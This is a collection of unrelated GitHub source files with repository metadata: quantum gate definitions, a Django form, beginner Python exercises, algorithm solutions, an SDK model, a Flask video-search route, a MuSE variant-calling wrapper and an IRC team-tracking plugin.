bk.cos(0.5 * ct1),\n -bk.cis(ct3 - 0.5 * ct2 + 0.5 * ct0) * bk.sin(0.5 * ct1)],\n [bk.cis(ct3 + 0.5 * ct2 - 0.5 * ct0) * bk.sin(0.5 * ct1),\n bk.cis(ct3 + 0.5 * ct2 + 0.5 * ct0) * bk.cos(0.5 * ct1)]]\n\n super().__init__(unitary, [q0], dict(t0=t0, t1=t1, t2=t2))\n\n @property\n def H(self) -> Gate:\n t0, t1, t2 = self.params.values()\n return ZYZ(-t2, -t1, -t0, *self.qubits)\n\n\n# Other 2-qubit gates\n\n\n# TODO: Add references and explanation\n# DOCME: Comment on sign conventions.\nclass CAN(Gate):\n r\"\"\"A canonical 2-qubit gate\n\n The canonical decomposition of 2-qubits gates removes local 1-qubit\n rotations, and leaves only the non-local interactions.\n\n .. math::\n \\text{CAN}(t_x, t_y, t_z) \\equiv\n \\exp\\Big\\{-i\\frac{\\pi}{2}(t_x X\\otimes X\n + t_y Y\\otimes Y + t_z Z\\otimes Z)\\Big\\}\n\n \"\"\"\n def __init__(self,\n tx: float, ty: float, tz: float,\n q0: Qubit = 0, q1: Qubit = 1) -> None:\n xx = XX(tx)\n yy = YY(ty)\n zz = ZZ(tz)\n\n gate = yy @ xx\n gate = zz @ gate\n unitary = gate.tensor\n super().__init__(unitary, [q0, q1], dict(tx=tx, ty=ty, tz=tz))\n\n @property\n def H(self) -> Gate:\n tx, ty, tz = self.params.values()\n return CAN(-tx, -ty, -tz, *self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n tx, ty, tz = self.params.values()\n return CAN(tx * t, ty * t, tz * t, *self.qubits)\n\n\n# Backwards compatability\n# TODO: Add deprecation warning\nclass CANONICAL(CAN):\n \"\"\"Deprecated. Use class CAN instead\"\"\"\n pass\n\n\nclass XX(Gate):\n r\"\"\"A parametric 2-qubit gate generated from an XX interaction,\n\n Equivalent to ``CAN(t,0,0)``.\n\n XX(1/2) is the Mølmer-Sørensen gate.\n\n Ref: Sørensen, A. & Mølmer, K. Quantum computation with ions in thermal\n motion. Phys. Rev. Lett. 82, 1971–1974 (1999)\n\n Args:\n t:\n \"\"\"\n def __init__(self, t: float, q0: Qubit = 0, q1: Qubit = 1) -> None:\n theta = bk.ccast(pi * t)\n unitary = [[bk.cos(theta / 2), 0, 0, -1.0j * bk.sin(theta / 2)],\n [0, bk.cos(theta / 2), -1.0j * bk.sin(theta / 2), 0],\n [0, -1.0j * bk.sin(theta / 2), bk.cos(theta / 2), 0],\n [-1.0j * bk.sin(theta / 2), 0, 0, bk.cos(theta / 2)]]\n super().__init__(unitary, [q0, q1], dict(t=t))\n\n @property\n def H(self) -> Gate:\n t = - self.params['t']\n return XX(t, *self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n t = self.params['t'] * t\n return XX(t, *self.qubits)\n\n\nclass YY(Gate):\n r\"\"\"A parametric 2-qubit gate generated from a YY interaction.\n\n Equivalent to ``CAN(0,t,0)``, and locally equivalent to\n ``CAN(t,0,0)``\n\n Args:\n t:\n \"\"\"\n def __init__(self, t: float, q0: Qubit = 0, q1: Qubit = 1) -> None:\n theta = bk.ccast(pi * t)\n unitary = [[bk.cos(theta / 2), 0, 0, 1.0j * bk.sin(theta / 2)],\n [0, bk.cos(theta / 2), -1.0j * bk.sin(theta / 2), 0],\n [0, -1.0j * bk.sin(theta / 2), bk.cos(theta / 2), 0],\n [1.0j * bk.sin(theta / 2), 0, 0, bk.cos(theta / 2)]]\n super().__init__(unitary, [q0, q1], dict(t=t))\n\n @property\n def H(self) -> Gate:\n t = - self.params['t']\n return YY(t, *self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n t = self.params['t'] * t\n return YY(t, *self.qubits)\n\n\nclass ZZ(Gate):\n r\"\"\"A parametric 2-qubit gate generated from a ZZ interaction.\n\n Equivalent to ``CAN(0,0,t)``, and locally equivalent to\n ``CAN(t,0,0)``\n\n Args:\n t:\n \"\"\"\n def __init__(self, t: float, q0: Qubit = 0, q1: Qubit = 1) -> None:\n theta = bk.ccast(pi * t)\n unitary = [[[[bk.cis(-theta / 2), 0], [0, 0]],\n [[0, bk.cis(theta / 2)], [0, 0]]],\n [[[0, 0], [bk.cis(theta / 2), 0]],\n [[0, 0], [0, bk.cis(-theta / 2)]]]]\n super().__init__(unitary, [q0, q1], dict(t=t))\n\n @property\n def H(self) -> Gate:\n t = - self.params['t']\n return ZZ(t, *self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n t = self.params['t'] * t\n return ZZ(t, *self.qubits)\n\n\nclass EXCH(Gate):\n r\"\"\"A 2-qubit parametric gate generated from an exchange interaction.\n\n Equivalent to CAN(t,t,t)\n\n \"\"\"\n def __init__(self, t: float, q0: Qubit = 0, q1: Qubit = 1) -> None:\n unitary = CAN(t, t, t).tensor\n super().__init__(unitary, [q0, q1], dict(t=t))\n\n @property\n def H(self) -> Gate:\n t = - self.params['t']\n return EXCH(t, *self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n t = self.params['t'] * t\n return EXCH(t, *self.qubits)\n\n\n# TODO: LATEX_OPERATIONS, QUIL_GATESET\nGATESET = frozenset([I, X, Y, Z, H, S, T, PHASE, RX, RY, RZ, CZ,\n CNOT, SWAP, ISWAP, CPHASE00, CPHASE01, CPHASE10,\n CPHASE, PSWAP, CCNOT, CSWAP, PISWAP,\n # Extras\n RN, TX, TY, TZ, TH, ZYZ,\n CAN, XX, YY, ZZ, EXCH,\n S_H, T_H])\n\n# TODO: Rename STDGATES to NAME_GATE?\nSTDGATES = {gate_class.__name__: gate_class for gate_class in GATESET}\n","repo_name":"rigetti/quantumflow","sub_path":"quantumflow/stdgates.py","file_name":"stdgates.py","file_ext":"py","file_size_in_byte":28977,"program_lang":"python","lang":"en","doc_type":"code","stars":96,"dataset":"github-code","pt":"40"} +{"seq_id":"38685923819","text":"from django import forms\nfrom django.core.validators import validate_email\nfrom django.forms import inlineformset_factory\nfrom clients.models import Client, PhoneNumberClient\n#FORMULARIO PARA LA CREACION DEL CLIENTE\n#------------------------------------------------------------------\n\nclass ClientForm(forms.ModelForm):\n\n CIVIL_STATUS = (\n ('S','Soltero'),\n ('C', 'Casado'),\n ('V', 'Viudo'),\n ('D', 'Divorciado')\n )\n\n SCORE = (\n (600 , 'Bueno (600)'),\n (400 , 'Regular (400)'),\n (200 , 'Riesgoso (200)')\n )\n\n first_name = forms.CharField(\n label = 'Nombre/s',\n required=True,\n )\n last_name = forms.CharField(\n label = 'Apellido/s',\n required=True,\n )\n email = forms.EmailField(\n label= 'Correo',\n required=False,\n )\n civil_status = forms.ChoiceField(\n label=\"Estado Civil\",\n choices= CIVIL_STATUS,\n required=True,\n )\n dni = forms.IntegerField(\n label= \"DNI\",\n required=True,\n )\n profession = forms.CharField(\n label= \"Profesion\",\n required=False,\n )\n address = forms.CharField(\n label= \"Domicilio\",\n required=False,\n )\n job_address = forms.CharField(\n label= \"Domicilio Laboral\",\n required=False,\n )\n\n\n class Meta:\n model = Client\n fields = ['first_name', 'last_name', 'email', 'civil_status', 'dni', 'profession', 'address', 'score', 'job_address']\n\n\n def clean_first_name(self):\n first_name = self.cleaned_data.get('first_name')\n if len(first_name) < 3:\n raise forms.ValidationError(\"El nombre debe contener al menos 3 caracteres\")\n return str(first_name).title()\n\n def clean_last_name(self):\n last_name = self.cleaned_data.get('last_name')\n if len(last_name) < 3:\n raise forms.ValidationError(\"El apellido debe contener al menos 3 caracteres\")\n return str(last_name).title()\n\n def clean_dni(self):\n \"\"\"\n Validar que el DNI sea válido\n \"\"\"\n dni = self.cleaned_data.get('dni')\n if len(str(dni)) < 7 or len(str(dni)) >= 15:\n raise forms.ValidationError(\"El DNI debe contener como minimo 7 y maximo 15 caracteres\")\n\n if Client.objects.filter(dni=dni).exists():\n if Client.objects.filter(dni=dni).first() != self.instance:\n raise forms.ValidationError(\"Ya existe un Cliente con DNI {}\".format(dni))\n return dni\n\n def clean_email(self):\n \"\"\"\n Validar que el correo electrónico sea válido\n \"\"\"\n email = self.cleaned_data.get('email')\n if len(email) > 0:\n try:\n validate_email(email)\n except forms.ValidationError:\n raise forms.ValidationError(\"Ingrese un correo electrónico válido\")\n\n if Client.objects.filter(email=email).exists():\n if Client.objects.filter(email=email).first() != self.instance:\n raise forms.ValidationError(\"Ya existe un crédito asociado a este correo electrónico\")\n return email\n\n def __init__(self, *args, **kwargs):\n super(ClientForm, self).__init__(*args, **kwargs)\n for field_name in self.fields:\n field = self.fields.get(field_name)\n field.widget.attrs.update({'class': 'form-control'})\n\n if kwargs.get('prefix') == 'guarantor': # CLIENTES PUEDEN SER TAMBIEN GARANTES DE OTROS CLIENTES\n for field in self.fields.values():\n field.required = False\n\n\n#FORMULARIO PARA LA CREACION DE LOS NUMEROS DE TELEFONO\n#------------------------------------------------------------------\nclass PhoneNumberFormClient(forms.ModelForm):\n\n PhoneType = (\n ('C', 'Celular'),\n ('F', 'Fijo'),\n ('A', 'Alternativo')\n )\n\n phone_number_c = forms.CharField(\n label = 'Telefono',\n required=False,\n widget=forms.NumberInput(\n attrs={'type':'number'}\n )\n )\n\n phone_type_c = forms.ChoiceField(\n label=\"Tipo\",\n choices= PhoneType,\n required=False,\n )\n\n class Meta:\n model = PhoneNumberClient\n fields = ('phone_number_c', 'phone_type_c')\n\n def clean_phone_number_c(self):\n \"\"\"\n Validar que el número de teléfono sea válido\n \"\"\"\n phone_number_c = self.cleaned_data.get('phone_number_c')\n if phone_number_c is None or phone_number_c == '':\n return None\n elif not phone_number_c.isdigit():\n raise forms.ValidationError(\"El número de teléfono debe contener solo dígitos\")\n elif len(phone_number_c) < 8 or len(phone_number_c) > 20:\n raise forms.ValidationError(\"El numero debe contener como minimo 8 y 15 digitos\")\n return phone_number_c\n\n def __init__(self, *args, **kwargs):\n super(PhoneNumberFormClient,self).__init__(*args, **kwargs)\n\n for field_name in self.fields:\n field = self.fields.get(field_name)\n field.widget.attrs.update({'class': 'form-control'})\n # Eliminar validación requerida\n for field in self.fields.values():\n field.required = False\n\n\n#------------------------------------------------------------------\nPhoneNumberFormSet = inlineformset_factory(\n Client,\n PhoneNumberClient,\n form = PhoneNumberFormClient,\n extra= 3,\n can_delete= False,\n)\nPhoneNumberFormSetUpdate = inlineformset_factory(\n Client,\n PhoneNumberClient,\n form = PhoneNumberFormClient,\n can_delete= False,\n max_num=4,\n)\n","repo_name":"oscar3873/financial-system","sub_path":"financialsystem/clients/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":5620,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"36153229704","text":"d = dict()\nfor m in input():\n try:\n d[m] += 1\n except KeyError:\n d[m] = 1\n\nd = sorted(d.items(), key=lambda item: item[1], reverse=True)\n\njust3 = d[:3]\n\nif len(set(v[1] for v in just3)) == 1:\n just3.sort(key=lambda x: x[0])\n\nfor mm in just3:\n print(mm[0], mm[1])\n","repo_name":"biplobsd/oop2-python","sub_path":"quiz1_no3.py","file_name":"quiz1_no3.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"73723241079","text":"import json\nfrom pprint import pprint\nimport os\n\npath='./data/movies/'\nfile_list=os.listdir(path) #해당 폴더의 파일이름들을 리스트로 반환함.\n\nmovies_list=[] # ./data/movies/ 하위의 파일들을 담을 빈 리스트를 생성.\n\n\n# movies폴더안의 모든 파일을 하나의 리스트에 담는 코드.\nfor file_name in file_list: \n with open(path+file_name, encoding='utf-8') as f:\n data = json.load(f)\n movies_list.append(data)\n\n\ndef movie_info(input):\n \"\"\"\n 영화의 정보를 담은 객체을 입력하면 해당 영화의 정보(json파일)가 출력되는 함수임.\n \"\"\"\n result={'genre_ids':0,\n 'id':0,\n 'overview':0,\n 'poster_path':0,\n 'title':0,\n 'vote_average':0 \n }\n\n result['genre_ids']=input['genre_ids']\n result['id']=input['id']\n result['overview']=input['overview']\n result['poster_path']=input['poster_path']\n result['title']=input['title']\n result['vote_average']=input['vote_average']\n\n return result\n\n # founded_movie=0\n # # 여기에 코드를 작성합니다. \n # for i in movies_list:\n # if i['title']==movie:\n # founded_movie=i\n\n # pprint(i)\n # print('len',len(founded_movie['genres']))\n \n # # for i in range(len(founded_movie['genres'])):\n # # result['genre_id'].append(founded_movie['genres'][i]['id'])\n # # result['id']=founded_movie['id']\n # # result['overview']=founded_movie['overview']\n # # result['title']=founded_movie['title']\n # # result['vote_average']=founded_movie['vote_average']\n # # pprint(result)\n# movie_info(input)\n\n# 아래의 코드는 수정하지 않습니다.\nif __name__ == '__main__':\n movie_json = open('data/movie.json', encoding='utf-8')\n movie_dict = json.load(movie_json)\n \n pprint(movie_info(movie_dict))\n\n\n","repo_name":"hhhhjjj11/TIL","sub_path":"1학기/관통플젝/01_pjt/problem_a.py","file_name":"problem_a.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"44091941650","text":"# strings\r\n#how to print a value:\r\nprint(\"30 days 30 hour Challenge\")\r\nprint('30 days 30 hour Challenge')\r\n#Assigning string to variables\r\nHours = \"thirty\"\r\nprint(Hours)\r\n\r\n#indexing using strings\r\nDays = \"Thirty days\"\r\nprint(Days[0])\r\n\r\n#How to print the particular character from certain text?\r\nChallenge = \"i will win\"\r\nprint(Challenge[7:10])\r\n#print the length of character\r\nChallenge = \"i will win\"\r\nprint(len(Challenge))\r\n\r\n#Convert string into lowercase\r\nChallenge = \"i will win\"\r\nprint(Challenge.lower())\r\n\r\n#string concatenation\r\na = \"30 Days\"\r\nb = \"30 hours\"\r\nc = a+b\r\nprint(c)\r\n\r\n#Adding space in between string of concatenation\r\na = \"30 days\"\r\nb = \"30 hour challenge\"\r\nc = a + \" \" + b\r\nprint(c)\r\n\r\n#casefold() - usage\r\ntext = \"Thirty Days And Thirty Hours\"\r\nx = text.casefold()\r\nprint(x)\r\n\r\n#capitalize\r\ntext = \"thirty days and thirty hours\"\r\nx = text.capitalize()\r\nprint(x)\r\n\r\n#find\r\ntext = \"Thirty days and thirty hours\"\r\nx = text.find(\"t\")\r\nprint(x)\r\n\r\n#isalpha\r\ntext = \"Thirty Days And Thirty Hours\"\r\nx = text.isalpha()\r\nprint(x)\r\n\r\n#isalnum\r\ntext = \"Thirty Days And Thirty Hours\"\r\nx = text.isalnum()\r\nprint(x)","repo_name":"Santhosh02K/ENLIST-Task-1","sub_path":"BEST-ENLIST-ASSIGNMENT.py","file_name":"BEST-ENLIST-ASSIGNMENT.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"20055121070","text":"T = int(input())\n\ndr = [-1, 1, 0, 0]\ndc = [0, 0, -1, 1]\n\n\ndef erase(row, col, r, count):\n for _ in range(count):\n row += dr[r]\n col += dc[r]\n processor[row][col] = 0\n\n\ndef connect(row, col, r):\n x = row\n y = col\n line_length = 0\n while 0 <= x + dr[r] < N and 0 <= y + dc[r] < N:\n x += dr[r]\n y += dc[r]\n if processor[x][y] == 1:\n erase(row, col, r, line_length)\n break\n processor[x][y] = 1\n line_length += 1\n else:\n return line_length\n return 0\n\n\ndef dfs(now, last, line_length):\n global core_count, min_length\n if core_count > len(now) + (len(cores) - last):\n return\n\n if core_count < len(now):\n core_count = len(now)\n min_length = 9999\n if core_count == len(now) and min_length > line_length:\n min_length = line_length\n\n for i in range(last, len(cores)):\n row, col = cores[i][0], cores[i][1]\n for r in range(4):\n tmp = connect(row, col, r)\n if tmp == 0:\n continue\n nxt = now[:]\n nxt.append(i)\n dfs(nxt, i + 1, line_length + tmp)\n erase(row, col, r, tmp)\n\n\nfor tc in range(1, T + 1):\n N = int(input())\n processor = [list(map(int, input().split())) for _ in range(N)]\n\n # 코어의 위치를 탐색하여 cores에 튜플 형태로 저장\n # 벽에 붙어있는 코어는 제외한다.\n cores = []\n for row in range(1, N - 1):\n for col in range(1, N - 1):\n if processor[row][col]:\n cores.append((row, col))\n # print(cores)\n\n core_count = 0\n min_length = 9999\n dfs([], 0, 0)\n print('#{} {}'.format(tc, min_length))","repo_name":"swsilver95/TIL","sub_path":"algorithm/SWEA/SWEA1767_프로세서연결하기_Ad.py","file_name":"SWEA1767_프로세서연결하기_Ad.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"40"} +{"seq_id":"10903006792","text":"#!/usr/bin/env python3\n\nif __name__ == '__main__':\n weights_cnt = int(input())\n weights = list(map(int, input().split()))\n weights.sort()\n\n tgt_num = 1\n for w in weights:\n if tgt_num < w:\n break\n tgt_num += w\n print(tgt_num)\n","repo_name":"JSYoo5B/TIL","sub_path":"PS/BOJ/2437/2437.py","file_name":"2437.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"73629880119","text":"class CertDescDetail(object):\n\n def __init__(self, certId=None, certName=None, commonName=None, certType=None, issuer=None, startTime=None, endTime=None, dnsNames=None, digest=None, totalCount=None, usedBy=None):\n \"\"\"\n :param certId: (Optional) 证书Id\n :param certName: (Optional) 证书名称\n :param commonName: (Optional) 绑定域名\n :param certType: (Optional) 证书类型\n :param issuer: (Optional) 签发者\n :param startTime: (Optional) 开始时间\n :param endTime: (Optional) 结束时间\n :param dnsNames: (Optional) 域名\n :param digest: (Optional) 对私钥文件使用sha256算法计算的摘要信息\n :param totalCount: (Optional) 绑定信息的总数量\n :param usedBy: (Optional) 证书关联信息\n \"\"\"\n\n self.certId = certId\n self.certName = certName\n self.commonName = commonName\n self.certType = certType\n self.issuer = issuer\n self.startTime = startTime\n self.endTime = endTime\n self.dnsNames = dnsNames\n self.digest = digest\n self.totalCount = totalCount\n self.usedBy = usedBy\n","repo_name":"jdcloud-api/jdcloud-sdk-python","sub_path":"jdcloud_sdk/services/ssl/models/CertDescDetail.py","file_name":"CertDescDetail.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"40"} +{"seq_id":"22370352897","text":"import sys\nimport re\n\n# Задача 1\n\nprint(\"Введите число\")\nnumber = int(input())\nif number > 0:\n str1 = \"положительное\"\nelif number == 0:\n str1 = \"нулевое\"\nelif number < 0:\n str1 = \"отрицательное\"\n\n\nif number == 0:\n str2 = \"\"\nelif number % 2 == 0:\n str2 = \"четное\"\nelse:\n str2 = \"нечетное\"\nprint(\"{0} {1} число.\".format(str1, str2))\n\n# Задача 2\n\nprint(\"Напишите текст на английском\")\nslovo = input().lower().replace(' ', '')\nslovo = re.sub(r'[^\\w\\s]', '', slovo)\nslovo = re.sub(r'[\\d+]', '', slovo)\nindexA = 0\nindexI = 0\nindexY = 0\nindexO = 0\nindexE = 0\nindexU = 0\nindexOfVowels = 0\nindexOfConsonants = 0\nconst = len(slovo)\nfor ABC in slovo:\n if ABC == 'a':\n indexOfVowels += 1\n indexA += 1\n elif ABC == 'e':\n indexOfVowels += 1\n indexE += 1\n elif ABC == 'y':\n indexOfVowels += 1\n indexY += 1\n elif ABC == 'o':\n indexOfVowels += 1\n indexO += 1\n elif ABC == 'u':\n indexOfVowels += 1\n indexU += 1\n elif ABC == 'i':\n indexOfVowels += 1\n indexI += 1\nindexOfConsonants = const - indexOfVowels\n\nprint(\"Гласные = {0} \\nСогласные = {1} \\nA = {2} \\nE = {3} \\nI = {4} \\nU = {5} \\nO = {6} \\nY = {7}\".format(indexOfVowels, indexOfConsonants, indexA, indexE, indexI, indexU, indexO, indexY))\n\n# Задача 3\n\nprint('Минимальная сумма стартапа')\nminCashStartap = int(input())\nprint('Кэш Иван')\ncashIvan = int(input())\nprint('Кэш Майк')\ncashMike = int(input())\n\nif minCashStartap <= cashMike and cashIvan >= minCashStartap:\n print(2)\nelif cashIvan >= minCashStartap >= cashMike:\n print('Ivan')\nelif cashIvan <= minCashStartap <= cashMike:\n print('Mike')\nelif (minCashStartap >= cashMike and minCashStartap >= cashIvan) and minCashStartap <= (cashIvan + cashMike):\n print(1)\nelif (minCashStartap >= cashMike and minCashStartap >= cashIvan) or minCashStartap >= (cashIvan + cashMike):\n print(0)\n\nprint(sys.stdin.readline())","repo_name":"Alexandr350/GameOfPython","sub_path":"Designs/Lesson #5.py","file_name":"Lesson #5.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"22518195363","text":"\n\n\n\n@app.route('/sp/search/')\ndef search_tnaflix():\n userAgent = request.headers.get('User_Agent').lower()\n is_mobile = 'android' in userAgent\n #print(query)\n query = request.args.get('query')\n page_number = request.args.get('page')\n if query:\n videos = tnaflix.search_porn(query,page_limit=1)\n videos.ping = round(videos.ping,2)\n return render_template('videos_search.html',videos=videos,is_mobile=is_mobile)\n else:\n return f'

Error requistion

query={query}?page={page_number}

'\n\n\n\n\n\n@app.route('/sp/video/')\ndef embed_spankban():\n userAgent = request.headers.get('User_Agent').lower()\n is_mobile = bool('android' in userAgent)\n print(is_mobile==True)\n query = request.args.get('url')\n if query:\n video = tnaflix.get_video_embed(query)\n return render_template('video.html',video=video,is_mobile=is_mobile)\n ","repo_name":"reinanbr/getporn","sub_path":"routes/spankbang/spankbang.py","file_name":"spankbang.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"19134360977","text":"import torch\n\nfrom torch import nn\n\n\nclass MRNet_2D(nn.Module):\n\n def __init__(self, num_classes=4):\n super(MRNet_2D, self).__init__()\n self.features = nn.Sequential(\n nn.Conv2d(1, 64, kernel_size=11, stride=4, padding=2),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=3, stride=2),\n nn.Conv2d(64, 192, kernel_size=5, padding=2),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=3, stride=2),\n nn.Conv2d(192, 384, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(384, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.Conv2d(256, 256, kernel_size=3, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=3, stride=2),\n )\n self.classifier = nn.Sequential(\n nn.Dropout(),\n nn.Linear(256 * 6 * 6, 4096),\n nn.ReLU(inplace=True),\n nn.Dropout(),\n nn.Linear(4096, 4096),\n nn.ReLU(inplace=True),\n nn.Linear(4096, num_classes),\n )\n self.gap = nn.AdaptiveAvgPool2d(1)\n self.classifier = nn.Linear(256, num_classes)\n\n def forward(self, x):\n x = torch.squeeze(x, dim=0) # only batch size 1 supported\n x = self.features(x)\n x = self.gap(x).view(x.size(0), -1)\n x = torch.max(x, 0, keepdim=True)[0]\n x = self.classifier(x)\n return x","repo_name":"ronilp/tumor-classification","sub_path":"models/MRNet_2D.py","file_name":"MRNet_2D.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"6026784526","text":"#!/usr/bin/env python\n\nimport sys\nimport re\nimport os\nimport shutil\nimport subprocess\nfrom argparse import ArgumentParser\nfrom toil_scripts.lib.programs import docker_call\n\ndef fai_chunk(faipath, blocksize):\n \"\"\"\n yield chr, start, end of sequence\n \"\"\"\n seq_map = {}\n with open( faipath ) as handle:\n for line in handle:\n tmp = line.split('\\t')\n seq_map[tmp[0]] = long(tmp[1])\n\n for seq in seq_map:\n l = seq_map[seq]\n for i in xrange(1, l, blocksize):\n yield '{}:{}-{}'.format(seq, i, min(i+blocksize-1, l))\n\n\ndef run_muse(workdir, genome, normal, tumor, block_size, dbsnp, outvcf):\n \"\"\"\n Runs muse in parallel on chunks of the genome\n If genome and bam files are not indexed, runs samtools to create them.\n If dbsnp is not bgzipped and tabix indexed, do so\n \"\"\"\n \n # check that the index files exist or make them\n genome_idx = genome + '.fai'\n if not os.path.exists(genome_idx):\n subprocess.check_call( ['samtools', 'faidx', genome_idx] )\n\n normal_idx = normal + '.bai'\n if not os.path.exists(normal_idx):\n subprocess.check_call( ['samtools', 'index', normal] )\n\n tumor_idx = tumor + '.bai'\n if not os.path.exists(tumor_idx):\n subprocess.check_call( ['samtools', 'index', tumor] )\n\n # check that the SNP vcf file is bgzipped and tabix indexed or do so\n if dbsnp.endswith('vcf'):\n subprocess.check_call( ['bgzip', dbsnp] )\n dbsnp = dbsnp + '.gz'\n\n if not os.path.exists(dbsnp + '.tbi'):\n subprocess.check_call( ['tabix', '-p', 'vcf', dbsnp ])\n\n # create the commands\n outfiles = []\n output_base = 'output.file'\n for block_num, block in enumerate(fai_chunk( genome_idx, block_size ) ):\n parameters = ['call', \n '-f', genome, \n '-r', block, \n '-O', '{}.{}'.format(output_base, block_num),\n tumor, normal]\n\n outfiles.append('{}.{}.MuSE.txt'.format(output_base, block_num))\n\n# NOTE TO ARJUN: docker_calls are not paralellized in this test script\n docker_call(tool='aarjunrao/muse',\n work_dir=workdir, parameters=parameters )\n\n # merge the resulting files in the same order as run\n first = True\n merge = 'merge.output'\n with open(merge, 'w') as ohandle:\n for f in outfiles:\n with open(f) as handle:\n for line in handle:\n if first or not line.startswith('#'):\n ohandle.write(line)\n first = False\n # os.unlink(f)\n\n # run MuSE sump on the merged file, with SNP file if available\n # The -E parameter means 'whole exome' (as opposed to -G, for genome)\n parameters = ['sump',\n '-I', merge,\n '-D', dbsnp,\n '-O', outvcf,\n '-E']\n docker_call(tool='aarjunrao/muse',\n work_dir=workdir, parameters=parameters)\n \n\n\n\nif __name__ == '__main__':\n parser = ArgumentParser()\n parser.add_argument('-g', '--genome', help='faidx indexed reference sequence file', required=True)\n parser.add_argument('-b', '--blocksize', type=long, help='Parallel Block Size', default=50000000)\n parser.add_argument('-o', '--outvcf', help='output file name (VCF)', default='out.vcf')\n parser.add_argument('-s', '--snpvcf', help='dbSNP vcf file, bgzipped (install tabix)', required=True)\n\n parser.add_argument('-t', '--tumor_bam', required=True)\n parser.add_argument('-n', '--normal_bam', required=True)\n args = parser.parse_args()\n\n workdir = os.path.dirname(os.path.abspath(args.normal_bam))\n run_muse(workdir, args.genome, args.normal_bam, args.tumor_bam, args.blocksize, args.snpvcf, args.outvcf)\n","repo_name":"Jeltje/muse","sub_path":"muse.py","file_name":"muse.py","file_ext":"py","file_size_in_byte":3756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"7540157089","text":"import argparse\nimport random\nimport string\nfrom datetime import datetime\n\nfrom helga.db import db\nfrom helga.plugins import command, match, random_ack, ResponseNotReady\n\n\nHELP_TEXT = \"\"\"Team plugin to track candidates and interview process.\nRefer to https://github.com/narfman0/helga-team#usage for more info.\"\"\"\n\n\ndef handle_add(client, channel, parser, nick):\n set_args = parser_to_dict(parser)\n # generate some defaults\n if 'id' not in set_args:\n set_args['id'] = generate_id()\n if 'status' not in set_args:\n set_args['status'] = 'pending'\n set_args['last_update'] = str(datetime.now())\n db.team.candidates.insert(set_args)\n return random_ack()\n\n\ndef handle_update(client, channel, parser, nick):\n get_args = {}\n # if id is passed, use id. name is a fallback.\n if parser.id:\n get_args['id'] = parser.id\n elif parser.name:\n get_args['name'] = parser.name\n set_args = parser_to_dict(parser)\n set_args['last_update'] = str(datetime.now())\n db.team.candidates.find_one_and_update(\n get_args, {'$set': set_args}\n )\n return random_ack()\n\n\ndef handle_status(client, channel, parser, nick):\n get_args = parser_to_dict(parser)\n candidates = db.team.candidates.find(get_args)\n for candidate in candidates:\n client.msg(channel, status(candidate))\n\n\ndef handle_remove(client, channel, parser, nick):\n get_args = parser_to_dict(parser)\n db.team.candidates.remove(get_args)\n return random_ack()\n\n\ndef logic(client, channel, command, parser, nick):\n if command == 'add':\n return handle_add(client, channel, parser, nick)\n elif command == 'update':\n return handle_update(client, channel, parser, nick)\n elif command == 'status':\n handle_status(client, channel, parser, nick)\n raise ResponseNotReady\n elif command == 'remove' or command == 'delete':\n return handle_remove(client, channel, parser, nick)\n return 'Team command unknown: ' + command\n\n\n@command('team', help=HELP_TEXT, shlex=True)\ndef team(client, channel, nick, message, cmd, args):\n return logic(client, channel, args[0], parse(args[1:]), nick)\n\n\ndef parse(args):\n \"\"\" Parse arguments given to command \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument('-i', '--id')\n parser.add_argument('-n', '--name')\n parser.add_argument('-s', '--status')\n parser.add_argument('-o', '--owner')\n parser.add_argument('-r', '--recruiter')\n parser.add_argument('-c', '--code_review')\n return parser.parse_args(args)\n\n\ndef status(candidate):\n \"\"\" Print status msg about a particular candidate \"\"\"\n response = candidate['name'] or \"No name given\"\n if 'owner' in candidate:\n response += ', owner: ' + candidate['owner']\n if 'recruiter' in candidate:\n response += ', recruiter: ' + candidate['recruiter']\n if 'status' in candidate:\n response += ', status: ' + candidate['status']\n if 'code_review' in candidate:\n response += ', code_review: ' + candidate['code_review']\n return response + ', id: ' + candidate['id']\n\n\ndef parser_to_dict(parser):\n \"\"\" Given a parser, generate mongo args \"\"\"\n args = {}\n if parser.id:\n args['id'] = parser.id\n if parser.name:\n args['name'] = parser.name\n if parser.status:\n args['status'] = parser.status\n if parser.owner:\n args['owner'] = parser.owner\n if parser.recruiter:\n args['recruiter'] = parser.recruiter\n if parser.code_review:\n args['code_review'] = parser.code_review\n return args\n\n\ndef generate_id(n=6):\n \"\"\" Create a random id. Why not. \"\"\"\n return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in 